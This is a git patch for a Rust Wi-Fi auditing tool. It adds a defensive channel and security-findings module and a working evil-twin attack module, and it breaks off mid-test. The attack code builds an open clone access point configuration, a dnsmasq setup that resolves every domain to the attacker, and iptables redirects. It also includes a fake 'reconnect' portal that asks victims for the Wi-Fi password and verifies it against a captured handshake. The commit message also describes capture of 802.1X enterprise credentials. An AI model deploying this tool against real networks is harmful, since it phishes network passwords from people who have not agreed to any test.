From 91aacba93982d726f6e9df153f6b537dc32a9205 Mon Sep 17 00:00:00 2001 From: Lucas Rayan Date: Sat, 24 Oct 2026 14:54:06 -0300 Subject: [PATCH] =?UTF-8?q?feat:=20Evil=20Twin=20(PSK=20+=20Enterprise/802?= =?UTF-8?q?.1X)=20e=20achados=20de=20an=C3=A1lise=20de=20canais?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - eviltwin.rs: clona um AP já visto na sessão (SSID aberto) numa segunda interface, com portal cativo pedindo a senha de novo. A senha só é aceita se bater de verdade contra o handshake real já capturado (CrackTarget::verify) — não é um "aceita qualquer coisa", é um oráculo criptográfico. Exige handshake quebrável já capturado desse BSSID e autorização explícita, mesma trilha de auditoria dos outros ataques. - eviltwin_enterprise.rs: variante pra redes WPA2/WPA3-Enterprise (802.1X) — nelas a credencial viaja no próprio handshake EAP (PEAP/TTLS-MSCHAPv2), então o cliente autentica sozinho em qualquer AP que anuncie o SSID, sem portal nem ação humana. Orquestra hostapd-wpe (não vendorizado — é um patch no build do hostapd); gera certificado TLS autoassinado e eap_user genérico; parser best-effort do log de credenciais capturadas. Limitação documentada: cliente que valida a cadeia de certificado recusa a conexão. - analysis.rs: achados de segurança (rede aberta, sem PMF, WPS ativo, possível evil twin real por nome duplicado) e recomendação de canal por banda com pontuação de interferência/sobreposição. --- crates/sabia-core/src/analysis.rs | 486 +++++++++++++++++++ crates/sabia-core/src/eviltwin.rs | 472 ++++++++++++++++++ crates/sabia-core/src/eviltwin_enterprise.rs | 224 +++++++++ 3 files changed, 1182 insertions(+) create mode 100644 crates/sabia-core/src/analysis.rs create mode 100644 crates/sabia-core/src/eviltwin.rs create mode 100644 crates/sabia-core/src/eviltwin_enterprise.rs diff --git a/crates/sabia-core/src/analysis.rs b/crates/sabia-core/src/analysis.rs new file mode 100644 index 0000000..272dbd1 --- /dev/null +++ b/crates/sabia-core/src/analysis.rs @@ -0,0 +1,486 @@ +//! Análise de canais, detecção de anomalias (WIDS) e leitura de WPA3. +//! +//! Tudo aqui é derivado da tabela já capturada — nada injeta quadros. A +//! interface usa o resultado para desenhar o gráfico de canais e os alertas; +//! o relatório usa o mesmo modelo para não ter duas verdades. + +use crate::radiotap::{self, Band}; +use crate::scan::AccessPoint; +use serde::Serialize; +use std::collections::HashMap; + +#[derive(Debug, Clone, Serialize)] +pub struct ChannelCandidate { + pub channel: u32, + pub freq_mhz: u16, + pub band: String, + pub score: f32, + pub aps: usize, + pub dfs: bool, +} + +#[derive(Debug, Clone, Serialize)] +pub struct BandReport { + pub band: String, + pub candidates: Vec, + pub recommended: Option, + pub used_channels: Vec, +} + +#[derive(Debug, Clone, Serialize)] +pub struct Finding { + pub id: String, + pub severity: String, + pub title: String, + pub detail: String, + pub bssid: Option, + pub ssid: Option, +} + +#[derive(Debug, Clone, Serialize)] +pub struct Wpa3Info { + pub bssid: String, + pub ssid: Option, + pub mode: String, + pub pmf: bool, + pub pmf_required: bool, + pub transition: bool, + pub notes: Vec, +} + +#[derive(Debug, Clone, Serialize, Default)] +pub struct Analysis { + pub bands: Vec, + pub findings: Vec, + pub wpa3: Vec, + pub deauth_60s: u32, +} + +const BAND_24: &str = "2.4 GHz"; +const BAND_5: &str = "5 GHz"; +const BAND_6: &str = "6 GHz"; + +fn band_label(band: Band) -> &'static str { + match band { + Band::B2G4 => BAND_24, + Band::B5 => BAND_5, + Band::B6 => BAND_6, + Band::Unknown => BAND_24, + } +} + +fn ap_freq(ap: &AccessPoint) -> Option<(u16, Band)> { + if let Some(freq) = ap.freq_mhz { + return Some((freq, radiotap::band_for_freq(freq))); + } + let band = ap.band?; + let channel = ap.channel?; + radiotap::channel_to_freq(channel, band).map(|freq| (freq, band)) +} + +fn ap_width(ap: &AccessPoint) -> u16 { + ap.width_mhz.filter(|w| *w >= 20).unwrap_or(20) +} + +fn candidates_for(band: Band) -> Vec { + match band { + Band::B2G4 => (1..=14).collect(), + Band::B5 => { + let mut chans: Vec = (36..=64).step_by(4).collect(); + chans.extend((100..=144).step_by(4)); + chans.extend((149..=177).step_by(4)); + chans.extend([182, 184, 188, 192, 196]); + chans + } + Band::B6 => (1..=233).step_by(4).collect(), + Band::Unknown => Vec::new(), + } +} + +fn is_dfs(channel: u32) -> bool { + (52..=64).contains(&channel) || (100..=144).contains(&channel) +} + +fn signal_weight(dbm: Option) -> f32 { + let dbm = dbm.unwrap_or(-75) as f32; + (1.0 - ((-dbm - 30.0) / 70.0)).clamp(0.15, 1.0) +} + +fn overlap_score(candidate_freq: u16, aps: &[(u16, u16, f32)]) -> (f32, usize) { + let half = 10.0f32; + let mut score = 0.0f32; + let mut count = 0usize; + for (freq, width, weight) in aps { + let ap_half = *width as f32 / 2.0; + let lo = (candidate_freq as f32 - half).max(*freq as f32 - ap_half); + let hi = (candidate_freq as f32 + half).min(*freq as f32 + ap_half); + let overlap = (hi - lo).max(0.0) / (half * 2.0); + if overlap > 0.0 { + score += overlap * weight; + count += 1; + } + } + (score, count) +} + +fn band_report(band: Band, aps: &[&AccessPoint]) -> BandReport { + let mut occupied: Vec<(u16, u16, f32)> = Vec::new(); + let mut used = Vec::new(); + for ap in aps { + let Some((freq, _)) = ap_freq(ap) else { + continue; + }; + occupied.push(( + freq, + ap_width(ap), + signal_weight(ap.signal_dbm.or(ap.max_signal_dbm)), + )); + if let Some(ch) = ap.channel { + used.push(ch); + } + } + used.sort_unstable(); + used.dedup(); + + let mut candidates: Vec = candidates_for(band) + .into_iter() + .filter_map(|channel| { + radiotap::channel_to_freq(channel, band).map(|freq| { + let (score, count) = overlap_score(freq, &occupied); + ChannelCandidate { + channel, + freq_mhz: freq, + band: band_label(band).to_string(), + score: (score * 1000.0).round() / 1000.0, + aps: count, + dfs: is_dfs(channel), + } + }) + }) + .collect(); + + let preferred: Vec = match band { + Band::B2G4 => vec![1, 6, 11], + _ => Vec::new(), + }; + let recommended = if preferred.is_empty() { + candidates + .iter() + .filter(|c| !c.dfs) + .min_by(|a, b| a.score.total_cmp(&b.score)) + .or_else(|| candidates.iter().min_by(|a, b| a.score.total_cmp(&b.score))) + .map(|c| c.channel) + } else { + preferred + .into_iter() + .filter_map(|ch| candidates.iter().find(|c| c.channel == ch)) + .min_by(|a, b| a.score.total_cmp(&b.score)) + .map(|c| c.channel) + }; + + candidates.sort_by(|a, b| { + a.score + .total_cmp(&b.score) + .then_with(|| a.channel.cmp(&b.channel)) + }); + candidates.truncate(8); + BandReport { + band: band_label(band).to_string(), + candidates, + recommended, + used_channels: used, + } +} + +fn finding( + id: &str, + severity: &str, + title: impl Into, + detail: impl Into, + ap: Option<&AccessPoint>, +) -> Finding { + Finding { + id: id.into(), + severity: severity.into(), + title: title.into(), + detail: detail.into(), + bssid: ap.map(|a| a.bssid.clone()), + ssid: ap.and_then(|a| a.ssid.clone()), + } +} + +fn security_rank(security: Option<&str>) -> u8 { + match security { + Some("Open") => 0, + Some("WEP") => 1, + Some("WPA") => 2, + Some("WPA2-EAP") => 3, + Some("WPA2") => 4, + Some("WPA2/WPA3") => 5, + Some("WPA3-EAP") => 6, + Some("WPA3") => 7, + Some("OWE") => 4, + _ => 3, + } +} + +fn wpa3_info(ap: &AccessPoint) -> Option { + let sec = ap.security.as_deref()?; + let is_wpa3 = sec.contains("WPA3") || sec == "OWE"; + if !is_wpa3 { + return None; + } + let transition = sec == "WPA2/WPA3"; + let mut notes = Vec::new(); + if transition { + notes.push( + "Modo de transição aceita WPA2: um cliente pode ser induzido a usar o modo mais fraco." + .into(), + ); + } + if !ap.pmf { + notes + .push("PMF não anunciado; WPA3 pressupõe proteção de quadros de gerenciamento.".into()); + } else if !ap.pmf_required && !transition { + notes.push("PMF suportado, mas não obrigatório.".into()); + } + if ap.wps { + notes.push("WPS ativo em rede WPA3 — combinação incomum e enfraquece o conjunto.".into()); + } + if ap.wps_locked == Some(false) { + notes.push("WPS destravado: PIN pode ser testado.".into()); + } + Some(Wpa3Info { + bssid: ap.bssid.clone(), + ssid: ap.ssid.clone(), + mode: sec.to_string(), + pmf: ap.pmf, + pmf_required: ap.pmf_required, + transition, + notes, + }) +} + +pub fn analyze(aps: &[AccessPoint], deauth_60s: u32, now: u64) -> Analysis { + let mut findings = Vec::new(); + let mut wpa3 = Vec::new(); + + let bands = [Band::B2G4, Band::B5, Band::B6] + .into_iter() + .filter_map(|band| { + let filtered: Vec<&AccessPoint> = aps + .iter() + .filter(|ap| ap_freq(ap).is_some_and(|(_, b)| b == band)) + .collect(); + if filtered.is_empty() { + None + } else { + Some(band_report(band, &filtered)) + } + }) + .collect(); + + // SSID anunciado com seguranças diferentes é o sinal clássico de evil + // twin — legítimo costuma manter o mesmo conjunto em todos os rádios. + let mut by_ssid: HashMap> = HashMap::new(); + for ap in aps { + if let Some(ssid) = ap.ssid.as_deref().filter(|s| !s.is_empty()) { + by_ssid.entry(ssid.to_string()).or_default().push(ap); + } + } + for (ssid, group) in &by_ssid { + if group.len() < 2 { + continue; + } + let mut ranks: Vec = group + .iter() + .map(|a| security_rank(a.security.as_deref())) + .collect(); + ranks.sort_unstable(); + ranks.dedup(); + if ranks.len() > 1 { + let detail = group + .iter() + .map(|a| format!("{} ({})", a.bssid, a.security.as_deref().unwrap_or("—"))) + .collect::>() + .join(", "); + findings.push(finding( + "evil_twin_security", + "bad", + format!("SSID “{ssid}” com seguranças diferentes"), + format!("O mesmo nome aparece em BSSIDs com níveis de segurança distintos: {detail}. Pode ser um evil twin ou um AP mal configurado."), + None, + )); + } + } + + if deauth_60s >= 40 { + findings.push(finding( + "deauth_flood", + "bad", + "Rajada de desautenticação", + format!("{deauth_60s} quadros de desautenticação/desassociação no último minuto. Pode ser ataque de desautenticação ou um AP instável."), + None, + )); + } + let recent_aps = aps + .iter() + .filter(|a| now.saturating_sub(a.first_seen_unix) <= 60) + .count(); + if recent_aps >= 60 { + findings.push(finding( + "beacon_flood", + "warn", + "Muitos BSSIDs novos", + format!("{recent_aps} BSSIDs apareceram no último minuto — possível beacon flood ou ambiente muito denso."), + None, + )); + } + + for ap in aps { + let label = ap + .ssid + .clone() + .filter(|s| !s.is_empty()) + .unwrap_or_else(|| ap.bssid.clone()); + match ap.security.as_deref() { + Some("Open") => findings.push(finding( + "open", + "bad", + format!("Rede aberta: {label}"), + "Sem cifra no Wi-Fi; o tráfego fica exposto a qualquer estação no alcance.", + Some(ap), + )), + Some("WEP") => findings.push(finding( + "wep", + "bad", + format!("WEP em {label}"), + "WEP é quebrável em minutos; trate a rede como aberta.", + Some(ap), + )), + Some("WPA") => findings.push(finding( + "wpa1", + "warn", + format!("WPA1 (TKIP) em {label}"), + "WPA1/TKIP tem fraquezas conhecidas; migre para WPA2/CCMP ou WPA3.", + Some(ap), + )), + _ => {} + } + if ap.wps { + findings.push(finding( + "wps", + if ap.wps_locked == Some(true) { + "info" + } else { + "warn" + }, + format!("WPS ativo em {label}"), + if ap.wps_locked == Some(true) { + "O AP anuncia WPS com configuração travada." + } else { + "WPS sem lock explícito; PIN pode ser testado com reaver/bully." + }, + Some(ap), + )); + } + if !ap.pmf + && matches!( + ap.security.as_deref(), + Some("WPA2") | Some("WPA2-EAP") | Some("WPA2/WPA3") + ) + { + findings.push(finding( + "no_pmf", + "warn", + format!("Sem PMF em {label}"), + "Desautenticação e desassociação não são protegidas; clientes podem ser expulsos para facilitar a captura de handshake.", + Some(ap), + )); + } + if ap.pmf_required && ap.security.as_deref().is_some_and(|s| s.contains("WPA3")) && !ap.pmf + { + findings.push(finding( + "pmf_inconsistent", + "warn", + format!("PMF inconsistente em {label}"), + "O AP anuncia WPA3, mas não anuncia PMF; verifique a configuração.", + Some(ap), + )); + } + if ap.wps && ap.security.as_deref().is_some_and(|s| s.contains("WPA3")) { + findings.push(finding( + "wpa3_wps", + "warn", + format!("WPA3 com WPS em {label}"), + "WPS não faz parte do WPA3 e abre uma via mais fraca de associação.", + Some(ap), + )); + } + if let Some(info) = wpa3_info(ap) { + wpa3.push(info); + } + } + + findings.sort_by_key(|f| match f.severity.as_str() { + "bad" => 0, + "warn" => 1, + _ => 2, + }); + Analysis { + bands, + findings, + wpa3, + deauth_60s, + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::scan::ScanTable; + use crate::testutil::{ap, beacon_frame, radiotap_wrap}; + + fn ingest(table: &mut ScanTable, ssid: &str, channel: u8, signal: i8, akms: &[u8]) { + let frame = beacon_frame(ap(), ssid, channel, akms); + table.ingest_at( + &radiotap_wrap(&frame, 2407 + channel as u16 * 5, signal), + 100, + ); + } + + #[test] + fn recommends_16_or_11_in_24() { + let mut table = ScanTable::new(); + ingest(&mut table, "Casa", 6, -40, &[2]); + let result = table.analysis(); + let band = result + .bands + .iter() + .find(|b| b.band == BAND_24) + .expect("2.4"); + assert!(matches!(band.recommended, Some(1 | 6 | 11))); + } + + #[test] + fn flags_same_ssid_with_different_security() { + let mut table = ScanTable::new(); + ingest(&mut table, "Loja", 6, -40, &[2]); + let twin = beacon_frame([0x02, 0x11, 0x22, 0x33, 0x44, 0x55], "Loja", 11, &[]); + table.ingest_at(&radiotap_wrap(&twin, 2462, -50), 100); + let result = table.analysis(); + assert!(result.findings.iter().any(|f| f.id == "evil_twin_security")); + } + + #[test] + fn flags_wps_and_weak_networks() { + let mut table = ScanTable::new(); + let frame = beacon_frame(ap(), "Antiga", 1, &[]); + table.ingest_at(&radiotap_wrap(&frame, 2412, -60), 100); + let result = table.analysis(); + assert!(result + .findings + .iter() + .any(|f| f.id == "wep" || f.id == "open")); + } +} diff --git a/crates/sabia-core/src/eviltwin.rs b/crates/sabia-core/src/eviltwin.rs new file mode 100644 index 0000000..d33cf70 --- /dev/null +++ b/crates/sabia-core/src/eviltwin.rs @@ -0,0 +1,472 @@ +//! Evil Twin + portal cativo: clona um AP já visto na captura (SSID aberto, +//! sem senha) pra atrair os clientes reais — em paralelo com desautenticação +//! contínua do AP verdadeiro, que já existe no engine — e pede a senha de +//! verdade por uma página de "reconectar", como qualquer portal cativo de +//! hotel/aeroporto faz. +//! +//! A diferença pro phishing comum: a senha digitada **nunca é aceita de +//! graça**. É conferida na hora contra o handshake real já capturado +//! ([`crate::crack::CrackTarget::verify`], o mesmo MIC criptográfico usado +//! na quebra por dicionário) — só confirma "conectado" quando a senha bate +//! de verdade com a rede. Isso também evita que a página vire um jeito de +//! coletar qualquer string digitada: ela só diz "certo" pra senha certa. +//! +//! Só funciona contra um AP que já apareceu na sessão de captura atual (não +//! dá pra apontar pra uma rede nunca vista) e exige a mesma autorização +//! explícita das outras abas de ataque. + +use crate::crack::CrackTarget; +use std::fmt::Write as _; + +/// Config do hostapd pro AP clone: aberto (sem criptografia) de propósito — +/// é o portal cativo que pede a senha, não o rádio. Praticamente todo +/// cliente com "lembrar essa rede" conecta sozinho numa rede aberta com o +/// SSID certo, sem perguntar nada ao usuário. +pub fn hostapd_conf(iface: &str, ssid: &str, channel: u32, bssid: Option<&str>) -> String { + let mut out = String::new(); + let _ = writeln!(out, "interface={iface}"); + let _ = writeln!(out, "driver=nl80211"); + let _ = writeln!(out, "ssid={}", sanitize_conf_value(ssid)); + let _ = writeln!(out, "hw_mode={}", if channel > 14 { "a" } else { "g" }); + let _ = writeln!(out, "channel={channel}"); + let _ = writeln!(out, "auth_algs=1"); + let _ = writeln!(out, "wmm_enabled=1"); + let _ = writeln!(out, "ignore_broadcast_ssid=0"); + if let Some(bssid) = bssid { + let _ = writeln!(out, "bssid={bssid}"); + } + out +} + +/// Config do dnsmasq: DHCP na sub-rede do AP clone + DNS que resolve +/// **tudo** pro próprio gateway, inclusive os domínios que Android/iOS/ +/// Windows usam pra detectar portal cativo (é o que faz o popup de login +/// abrir sozinho no dispositivo da vítima). +pub fn dnsmasq_conf(iface: &str, gateway_ip: &str, dhcp_range: (&str, &str)) -> String { + let mut out = String::new(); + let _ = writeln!(out, "interface={iface}"); + let _ = writeln!(out, "bind-interfaces"); + let _ = writeln!(out, "dhcp-range={},{},12h", dhcp_range.0, dhcp_range.1); + let _ = writeln!(out, "dhcp-option=3,{gateway_ip}"); // gateway + let _ = writeln!(out, "dhcp-option=6,{gateway_ip}"); // DNS + let _ = writeln!(out, "address=/#/{gateway_ip}"); // resolve tudo pra nós + let _ = writeln!(out, "no-resolv"); + out +} + +/// Regras de `iptables` (lista de argumentos, uma regra por linha — cada +/// `Vec` é um `iptables `) pra mandar todo HTTP da sub-rede do +/// AP clone pro servidor do portal cativo, nessa máquina. Sem NAT pra +/// internet de propósito — o clone nunca dá acesso de verdade, só o portal. +pub fn iptables_rules(iface: &str, portal_port: u16) -> Vec> { + let redirect = |proto: &str, dport: u16| { + vec![ + "-t".into(), + "nat".into(), + "-A".into(), + "PREROUTING".into(), + "-i".into(), + iface.into(), + "-p".into(), + proto.into(), + "--dport".into(), + dport.to_string(), + "-j".into(), + "REDIRECT".into(), + "--to-port".into(), + portal_port.to_string(), + ] + }; + vec![redirect("tcp", 80)] +} + +/// As mesmas regras, pra desfazer (`-D` em vez de `-A`) ao parar o job. +pub fn iptables_cleanup_rules(iface: &str, portal_port: u16) -> Vec> { + iptables_rules(iface, portal_port) + .into_iter() + .map(|mut rule| { + if let Some(a) = rule.iter_mut().find(|a| *a == "-A") { + *a = "-D".into(); + } + rule + }) + .collect() +} + +fn sanitize_conf_value(value: &str) -> String { + // hostapd.conf não escapa valores — corta quebra de linha, que seria + // injeção de outra diretiva de config. + value.replace(['\n', '\r'], "") +} + +/// Resultado de uma tentativa de login no portal. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum PortalAttempt { + /// Senha bateu com o handshake real — confirmado criptograficamente, + /// não é só "aceitar o que a pessoa digitou". + Correct, + WrongPassword, + /// Comprimento fora de 8–63: nem vale a pena gastar um PBKDF2 nisso. + InvalidLength, +} + +/// Confere a senha submetida no portal contra o handshake real do alvo — +/// mesma verificação criptográfica usada na quebra por dicionário +/// ([`crate::crack::CrackTarget::verify`]). O portal só mostra "conectado" +/// quando isso bate; do contrário, pede de novo, exatamente como um portal +/// cativo legítimo faria com uma senha errada. +pub fn check_submission(target: &CrackTarget, password: &str) -> PortalAttempt { + if !(8..=63).contains(&password.len()) { + return PortalAttempt::InvalidLength; + } + if target.verify(password) { + PortalAttempt::Correct + } else { + PortalAttempt::WrongPassword + } +} + +/// Página de login do portal — pede a senha da rede clonada. Texto genérico +/// de "reconectar à rede", sem imitar nenhuma marca específica. +pub fn portal_login_html(ssid: &str, wrong_password: bool) -> String { + let notice = if wrong_password { + r#"

Senha incorreta. Tente de novo.

"# + } else { + "" + }; + format!( + r#" + +Conectar à rede + +
+

Reconectar a “{ssid}”

+

A sessão expirou. Digite a senha da rede Wi-Fi pra continuar conectado.

+ {notice} + + +
+"#, + ssid = html_escape(ssid), + notice = notice, + ) +} + +pub fn portal_success_html(ssid: &str) -> String { + format!( + r#" + +Conectado + +

Conectado

Você já está conectado a “{ssid}”.

"#, + ssid = html_escape(ssid), + ) +} + +/// Servidor HTTP minúsculo do portal — sem dependência nova, não precisa +/// ser um servidor de verdade, só responder GET (qualquer caminho vira a +/// página de login, o que também satisfaz a detecção de portal cativo do +/// Android/iOS/Windows) e POST /connect (lê `password=...` do corpo e +/// confere contra o handshake real). Roda até achar a senha certa, o `stop` +/// virar true, ou o accept falhar. +#[cfg(target_os = "linux")] +pub fn run_portal( + listener: std::net::TcpListener, + ssid: &str, + target: &CrackTarget, + stop: &std::sync::atomic::AtomicBool, + mut on_attempt: impl FnMut(PortalAttempt), +) -> Option { + use std::sync::atomic::Ordering; + use std::time::Duration; + + listener.set_nonblocking(true).ok(); + loop { + if stop.load(Ordering::Relaxed) { + return None; + } + match listener.accept() { + Ok((stream, _)) => { + if let Some(password) = handle_connection(stream, ssid, target, &mut on_attempt) { + return Some(password); + } + } + Err(e) if e.kind() == std::io::ErrorKind::WouldBlock => { + std::thread::sleep(Duration::from_millis(80)); + } + Err(_) => return None, + } + } +} + +#[cfg(target_os = "linux")] +fn handle_connection( + mut stream: std::net::TcpStream, + ssid: &str, + target: &CrackTarget, + on_attempt: &mut impl FnMut(PortalAttempt), +) -> Option { + use std::io::{Read, Write}; + + stream + .set_read_timeout(Some(std::time::Duration::from_secs(5))) + .ok(); + let mut buf = vec![0u8; 8192]; + let mut total = 0usize; + // Lê até achar o fim dos cabeçalhos — suficiente pros requests curtos + // que um navegador manda pra um form simples. + loop { + let n = stream.read(&mut buf[total..]).ok()?; + if n == 0 { + break; + } + total += n; + if buf[..total].windows(4).any(|w| w == b"\r\n\r\n") || total >= buf.len() { + break; + } + } + let request = String::from_utf8_lossy(&buf[..total]); + let mut lines = request.lines(); + let request_line = lines.next().unwrap_or(""); + let mut parts = request_line.split_whitespace(); + let method = parts.next().unwrap_or("GET"); + let path = parts.next().unwrap_or("/"); + + let mut content_length = 0usize; + for line in request.lines() { + if let Some(v) = line + .to_ascii_lowercase() + .strip_prefix("content-length:") + .map(str::trim) + .and_then(|v| v.parse::().ok()) + { + content_length = v; + } + } + + let mut found_password = None; + let body = if method == "POST" && path.starts_with("/connect") { + let header_end = request.find("\r\n\r\n").map(|i| i + 4).unwrap_or(total); + let body_bytes = &buf[header_end..total.min(header_end + content_length)]; + let form = String::from_utf8_lossy(body_bytes); + let password = form_value(&form, "password").unwrap_or_default(); + let attempt = check_submission(target, &password); + on_attempt(attempt.clone()); + match attempt { + PortalAttempt::Correct => { + found_password = Some(password); + portal_success_html(ssid) + } + PortalAttempt::WrongPassword | PortalAttempt::InvalidLength => { + portal_login_html(ssid, true) + } + } + } else { + portal_login_html(ssid, false) + }; + + let response = format!( + "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}", + body.len() + ); + let _ = stream.write_all(response.as_bytes()); + found_password +} + +/// Lê `chave=valor` de um corpo `application/x-www-form-urlencoded` simples +/// (sem libs extra — é um único campo de senha, não vale a pena puxar uma +/// crate de parsing de formulário por causa disso). +fn form_value(body: &str, key: &str) -> Option { + body.split('&').find_map(|pair| { + let (k, v) = pair.split_once('=')?; + if k == key { + Some(url_decode(v)) + } else { + None + } + }) +} + +fn url_decode(s: &str) -> String { + let bytes = s.as_bytes(); + let mut out = Vec::with_capacity(bytes.len()); + let mut i = 0; + while i < bytes.len() { + match bytes[i] { + b'+' => { + out.push(b' '); + i += 1; + } + b'%' if i + 2 < bytes.len() => { + let hex = std::str::from_utf8(&bytes[i + 1..i + 3]).ok(); + if let Some(byte) = hex.and_then(|h| u8::from_str_radix(h, 16).ok()) { + out.push(byte); + i += 3; + } else { + out.push(bytes[i]); + i += 1; + } + } + b => { + out.push(b); + i += 1; + } + } + } + String::from_utf8_lossy(&out).into_owned() +} + +fn html_escape(s: &str) -> String { + s.replace('&', "&") + .replace('<', "<") + .replace('>', ">") + .replace('"', """) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn hostapd_conf_includes_required_fields_and_strips_newlines() { + let conf = hostapd_conf("wlan1", "Rede\nMaliciosa", 6, Some("aa:bb:cc:dd:ee:ff")); + assert!(conf.contains("interface=wlan1")); + assert!(conf.contains("ssid=RedeMaliciosa")); + assert!(!conf.contains("ssid=Rede\nMaliciosa")); + assert!(conf.contains("channel=6")); + assert!(conf.contains("hw_mode=g")); + assert!(conf.contains("bssid=aa:bb:cc:dd:ee:ff")); + } + + #[test] + fn hostapd_conf_picks_5ghz_mode_above_channel_14() { + let conf = hostapd_conf("wlan1", "Rede5G", 149, None); + assert!(conf.contains("hw_mode=a")); + assert!(!conf.contains("bssid=")); + } + + #[test] + fn dnsmasq_conf_hijacks_every_domain_to_the_gateway() { + let conf = dnsmasq_conf("wlan1", "10.0.0.1", ("10.0.0.10", "10.0.0.200")); + assert!(conf.contains("address=/#/10.0.0.1")); + assert!(conf.contains("dhcp-range=10.0.0.10,10.0.0.200,12h")); + assert!(conf.contains("no-resolv")); + } + + #[test] + fn iptables_rules_redirect_http_to_the_portal_port() { + let rules = iptables_rules("wlan1", 8080); + assert_eq!(rules.len(), 1); + assert!(rules[0].contains(&"REDIRECT".to_string())); + assert!(rules[0].contains(&"8080".to_string())); + assert!(rules[0].contains(&"80".to_string())); + } + + #[test] + fn cleanup_rules_mirror_add_rules_with_delete_flag() { + let add = iptables_rules("wlan1", 8080); + let del = iptables_cleanup_rules("wlan1", 8080); + assert_eq!(add.len(), del.len()); + assert!(add[0].contains(&"-A".to_string())); + assert!(del[0].contains(&"-D".to_string())); + assert!(!del[0].contains(&"-A".to_string())); + } + + fn sample_target(password: &str) -> CrackTarget { + use crate::testutil::{handshake_frames, synthetic_handshake}; + let (m1, m2) = handshake_frames("RedeAlvo", password, 2, false); + let hs = synthetic_handshake( + "RedeAlvo", + "00:11:22:33:44:55", + "66:77:88:99:aa:bb", + &m1, + &m2, + ); + CrackTarget::from_handshake(&hs).expect("alvo") + } + + #[test] + fn check_submission_only_accepts_the_real_password() { + let target = sample_target("senha-verdadeira"); + assert_eq!( + check_submission(&target, "senha-verdadeira"), + PortalAttempt::Correct + ); + assert_eq!( + check_submission(&target, "chute-qualquer"), + PortalAttempt::WrongPassword + ); + assert_eq!( + check_submission(&target, "curta"), + PortalAttempt::InvalidLength + ); + } + + #[test] + fn portal_server_rejects_wrong_password_then_accepts_the_real_one() { + use std::io::{Read, Write}; + use std::net::TcpListener; + use std::sync::atomic::AtomicBool; + + let listener = TcpListener::bind("127.0.0.1:0").expect("bind"); + let addr = listener.local_addr().unwrap(); + let target = sample_target("senha-real-123"); + let stop = AtomicBool::new(false); + let attempts = std::sync::Mutex::new(Vec::new()); + + let handle = std::thread::spawn(move || { + run_portal(listener, "RedeAlvo", &target, &stop, |a| { + attempts.lock().unwrap().push(a); + }) + }); + + // Dá um tempinho pro accept() estar escutando antes do primeiro connect. + std::thread::sleep(std::time::Duration::from_millis(50)); + + let post = |password: &str| -> String { + let body = format!("password={password}"); + let req = format!( + "POST /connect HTTP/1.1\r\nHost: x\r\nContent-Length: {}\r\n\r\n{body}", + body.len() + ); + let mut stream = std::net::TcpStream::connect(addr).expect("connect"); + stream.write_all(req.as_bytes()).unwrap(); + let mut resp = String::new(); + stream.read_to_string(&mut resp).unwrap(); + resp + }; + + let wrong = post("senha-errada-aqui"); + assert!(wrong.contains("Senha incorreta")); + + let right = post("senha-real-123"); + assert!(right.contains("Você já está conectado")); + + let password = handle.join().unwrap(); + assert_eq!(password.as_deref(), Some("senha-real-123")); + } + + #[test] + fn portal_pages_escape_ssid_and_render_retry_notice() { + let html = portal_login_html("Rede